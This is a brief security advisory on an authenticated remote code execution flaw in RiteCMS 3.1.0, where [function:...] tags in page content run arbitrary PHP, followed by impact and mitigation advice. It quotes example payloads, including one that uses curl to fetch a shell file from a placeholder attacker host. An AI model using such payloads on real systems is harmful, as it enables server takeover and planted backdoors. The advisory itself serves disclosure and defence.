RiteCMS 3.1.0 has an authenticated remote code execution vulnerability in the content_function() handler. The vulnerability arises because the CMS evaluates [function:...] tags embedded in page content, enabling users with page-editing privileges to execute arbitrary PHP code on the server. Exploit code shows that an attacker can insert commands like system('whoami') or system('curl http://attacker/shell.php -o shell.php') into page content, which are then executed when the page is viewed. The exploit requires login as an administrator or a user with page-editing rights. No patch or official fix information is available from the vendor or advisory sources.

An authenticated user with page-editing privileges can execute arbitrary PHP code on the server hosting RiteCMS 3.1.0. This can lead to full system compromise, data theft, or deployment of persistent backdoors. The vulnerability enables remote code execution, which is critical in severity, but exploitation requires valid credentials with sufficient privileges.

Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict page-editing privileges to trusted users only. Monitor for unauthorized changes to page content and consider disabling or restricting the use of [function:...] tags if possible.